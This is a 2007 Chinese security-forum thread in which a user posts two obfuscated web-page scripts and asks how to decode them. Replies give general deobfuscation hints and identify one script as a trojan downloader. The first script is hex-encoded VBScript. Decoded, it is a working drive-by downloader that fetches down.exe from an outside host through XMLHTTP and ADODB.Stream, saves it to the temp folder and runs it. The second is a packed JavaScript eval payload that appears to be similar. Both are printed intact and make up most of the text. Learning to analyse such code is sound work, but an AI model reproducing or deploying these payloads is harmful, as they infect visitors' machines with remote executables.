首页
社区
课程
招聘
[旧帖] [讨论]网页加密的研究求助...各位请进!!! 0.00雪花
发表于: 2007-6-14 23:46 5382

[旧帖] [讨论]网页加密的研究求助...各位请进!!! 0.00雪花

2007-6-14 23:46
5382
前面看到有人解出来了,但是我想知道方法方式和原理,主要是要学习嘛.老叫人家帮助到底不是办法,学习好了也可以帮助其他人哦....
高手请看(希望能给大家上堂课,较为详细的讲解一下):
一\
<script language="JavaScript">
function mymid(ss) {
return ss.substring(2);}
</script>
<script language="VBScript">
S="6f6e206572726f7220726573756d65206e6578740d0a6375726c3d22687474703a2f2f7777772e636f707969702e636f6d2f646f776e2e657865220d0a666e616d65313d22646f776e2e657865220d0a666e616d65323d22646f776e2e766273220d0a53"
S=S+"6574206466203d20646f63756d656e742e637265617465456c656d656e7428226f626a65637422290d0a64662e7365744174747269627574652022636c6173736964222c2022636c7369643a42443936433535362d363541332d313144302d393833412d"
S=S+"303043303446433239453336220d0a7374723d224d6963726f736f66742e584d4c48545450220d0a5365742078203d2064662e4372656174654f626a656374287374722c2222290d0a43313d2241646f220d0a43323d2264622e220d0a43333d22737472"
S=S+"220d0a43343d2265616d220d0a737472313d43312643322643332643340d0a737472353d737472310d0a7365742053203d2064662e6372656174656f626a65637428737472352c2222290d0a532e74797065203d20310d0a737472363d22474554220d0a"
S=S+"782e4f70656e20737472362c206375726c2c2046616c73650d0a782e53656e640d0a73313d22536372697074220d0a73323d22696e672e220d0a73333d2246696c65220d0a73343d2253797374656d4f626a656374220d0a73303d73312b73322b73332b"
S=S+"73340d0a7365742046203d2064662e6372656174656f626a6563742873302c2222290d0a73657420746d70203d20462e4765745370656369616c466f6c6465722832290d0a666e616d65313d20462e4275696c645061746828746d702c666e616d653129"
S=S+"0d0a532e6f70656e0d0a532e777269746520782e726573706f6e7365426f64790d0a532e73617665746f66696c6520666e616d65312c320d0a532e636c6f73650d0a666e616d65323d20462e4275696c645061746828746d702c666e616d6532290d0a53"
S=S+"6574207473203d20462e4f70656e5465787446696c6528666e616d65322c20322c2054727565290d0a74732e57726974654c696e652022536574205368656c6c203d204372656174654f626a656374282222577363726970742e5368656c6c222229220d"
S=S+"0a73716c3d225368656c6c2e52756e282222222b666e616d65312b22222229220d0a74732e57726974654c696e652073716c0d0a74732e57726974654c696e652022736574205368656c6c3d4e6f7468696e67220d0a74732e636c6f73650d0a69662046"
S=S+"2e46696c6545786973747328666e616d6531293d74727565207468656e0d0a696620462e46696c6545786973747328666e616d6532293d74727565207468656e0d0a202020207368613d225368656c6c2e417070220d0a202020207368623d7368610d0a"
S=S+"202020207365742051203d2064662e6372656174656f626a656374287368622b226c69636174696f6e222c2222290d0a20202020512e5368656c6c4578656375746520666e616d65322c22222c22222c226f70656e222c300d0a656e642069660d0a656e"
S=S+"642069660d0a"

二\
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('17("\\m\\n\\d\\7\\1\\c\\i\\d\\9\\M\\d\\b\\d\\a\\P\\u\\3\\6\\9\\d\\n\\e\\k\\0\\6\\9\\f\\9\\G\\3\\1\\v\\5\\6\\3\\d\\8\\i\\e\\b\\a\\16\\d\\4\\6\\0\\1\\n\\6\\d\\9\\G\\3\\1\\v\\5\\6\\i\\n\\d\\8\\b\\d\\n\\e\\k\\0\\6\\a\\z\\s\\5\\0\\t\\0\\s\\4\\O\\1\\6\\D\\P\\3\\3\\3\\f\\2\\i\\k\\w\\2\\4\\k\\k\\k\\f\\2\\0\\7\\1\\2\\4\\7\\7\\7\\f\\2\\F\\8\\i\\8\\k\\5\\2\\4\\8\\8\\8\\f\\2\\o\\1\\6\\0\\3\\e\\2\\4\\0\\0\\0\\f\\2\\G\\c\\7\\6\\i\\p\\i\\m\\1\\5\\2\\4\\m\\m\\m\\f\\2\\14\\G\\13\\11\\L\\L\\K\\2\\4\\g\\w\\f\\s\\v\\1\\1\\h\\Y\\C\\C\\S\\S\\S\\5\\h\\n\\e\\3\\l\\H\\W\\5\\7\\i\\e\\C\\h\\n\\C\\l\\5\\0\\t\\0\\s\\4\\9\\u\\3\\6\\9\\8\\m\\f\\8\\i\\7\\n\\e\\0\\d\\1\\5\\7\\6\\0\\3\\1\\0\\I\\g\\0\\e\\0\\d\\1\\b\\3\\3\\3\\z\\k\\k\\k\\a\\4\\9\\8\\m\\5\\p\\0\\1\\F\\1\\1\\6\\c\\k\\n\\1\\0\\b\\2\\7\\g\\3\\p\\p\\c\\8\\2\\j\\2\\7\\g\\p\\c\\8\\Y\\E\\X\\Q\\H\\x\\R\\R\\H\\N\\H\\R\\F\\J\\N\\l\\l\\X\\r\\N\\Q\\10\\J\\F\\N\\r\\r\\x\\r\\W\\q\\x\\y\\Q\\I\\J\\H\\2\\a\\4\\9\\u\\3\\6\\9\\t\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\0\\0\\0\\z\\m\\m\\m\\j\\2\\2\\a\\4\\9\\u\\3\\6\\9\\o\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\7\\7\\7\\z\\8\\8\\8\\j\\2\\2\\a\\4\\9\\o\\5\\1\\D\\h\\0\\f\\l\\4\\9\\t\\5\\i\\h\\0\\d\\b\\2\\V\\I\\L\\2\\j\\9\\g\\w\\j\\r\\a\\4\\9\\t\\5\\p\\0\\d\\8\\b\\a\\4\\9\\e\\B\\l\\f\\M\\d\\b\\l\\r\\r\\r\\a\\4\\9\\u\\3\\6\\9\\q\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\2\\o\\7\\6\\c\\h\\1\\c\\d\\M\\5\\q\\c\\g\\0\\o\\D\\p\\1\\0\\e\\A\\k\\w\\0\\7\\1\\2\\j\\2\\2\\a\\4\\u\\3\\6\\9\\1\\e\\h\\f\\q\\5\\V\\0\\1\\o\\h\\0\\7\\c\\3\\g\\q\\i\\g\\8\\0\\6\\b\\r\\a\\4\\u\\3\\6\\9\\1\\y\\4\\1\\y\\f\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\j\\2\\6\\c\\p\\c\\d\\M\\2\\z\\e\\B\\l\\a\\4\\e\\B\\l\\f\\9\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\j\\e\\B\\l\\a\\4\\o\\5\\A\\h\\0\\d\\b\\a\\4\\o\\5\\Z\\6\\c\\1\\0\\b\\t\\5\\6\\0\\p\\h\\i\\d\\p\\0\\E\\i\\8\\D\\a\\4\\o\\5\\o\\3\\u\\0\\L\\i\\q\\c\\g\\0\\b\\e\\B\\l\\j\\y\\a\\4\\o\\5\\x\\g\\i\\p\\0\\b\\a\\4\\q\\5\\G\\i\\u\\0\\q\\c\\g\\0\\b\\e\\B\\l\\j\\1\\y\\a\\4\\u\\3\\6\\9\\T\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\2\\o\\v\\0\\g\\g\\5\\F\\h\\h\\g\\c\\7\\3\\1\\c\\i\\d\\2\\j\\2\\2\\a\\4\\0\\t\\h\\l\\f\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\z\\s\\U\\U\\p\\D\\p\\1\\0\\e\\J\\y\\s\\j\\s\\7\\e\\8\\5\\0\\t\\0\\s\\a\\4\\T\\5\\o\\v\\0\\g\\g\\I\\t\\0\\7\\n\\1\\0\\b\\0\\t\\h\\l\\j\\s\\9\\C\\7\\9\\s\\z\\1\\y\\j\\2\\2\\j\\2\\i\\h\\0\\d\\2\\j\\r\\a\\4\\O\\7\\3\\1\\7\\v\\b\\c\\a\\P\\c\\f\\l\\4\\O\\15\\12")',62,70,'145|164|42|141|73|56|162|143|144|40|51|50|151|156|155|75|154|160|157|54|142|61|146|165|123|163|106|60|47|170|166|150|152|103|62|53|117|172|57|171|102|101|115|66|105|63|120|124|147|55|175|173|71|65|167|121|134|107|64|104|72|127|70|110||114|130||52|eval'.split('|'),0,{}))

希望高手不吝赐教,小的在此拜谢了.......
好象记得一个斑竹是高手,回答了这个问题的,也希望你再来分析下哦,谢谢

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
晕,第一个解密之后我的NOD32就报警了,汗。。。
是个木马下载类病毒。
上传的附件:
2007-6-15 01:45
0
雪    币: 139
活跃值: (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
用 alert 是一种办法 不过只能看哦
以前有人介绍过 以壳解壳
网页代码里面的 函数都这么明显了
那就是 以他自己的算法 解密

不知道谁说过  在源代码面前没有秘密
2007-6-15 08:13
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
lxmxn   我想知道怎么解的   能否指点一二呢  我知道比较菜,你说要叫我多学习......
呵呵`你就说下怎么解的吧   在我的理解 就是他自己定义一个S  然后用这个S去加密后面的.
但具体怎么解  不知道  我也看到你两次回了这种帖子,  知道你会地.....
2007-6-15 11:47
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我也是刚学,见笑了。
S 字符串里面,每两个都是一个字符的ASCII的十六进制,你可以分离出来,反推它们的原始字符,然后用VBS脚本来显示它,就这样了。
2007-6-15 12:06
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
呵呵``,我知道,因为我翻了你以前的帖子,你也没一次性的完全成功,不过你很快就全部搞定了
用VBS的脚本?555`` 看来我真的实在太菜了,不会,     不过我的确想到了是ASCII的码

还有第二个  你会吗?
2007-6-15 12:14
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
你代码不完整,把整个网页发上来,下面应该有“解密”代码,你只要让它“显示”出来就可以了。
2007-6-15 12:17
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
就按照7楼的兄弟说的,把完整的网页源代码发出来就好了。
2007-6-15 12:25
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
是 第一段代码  还是第二段代码?
第二段是完整的

还有 LX说的:反推它们的原始字符,然后用VBS脚本来显示他     用VBS脚本  怎么弄的?
2007-6-15 13:00
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
我只懂点VBS,帮不上忙,,,抱歉啊!!!!
2007-6-15 13:39
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
呵呵 没关系 谢谢关心,  我继续等LXMXN
2007-6-15 14:50
0
雪    币: 139
活跃值: (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12

其实你搜一下论坛就看到了

http://bbs.pediy.com/showthread.php?t=44506
解密代码在四楼
都是差不多的东西
2007-6-15 15:15
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
来学习的,帮不到忙哦...见谅见谅................
2007-6-16 08:53
0
游客
登录 | 注册 方可回帖
返回
//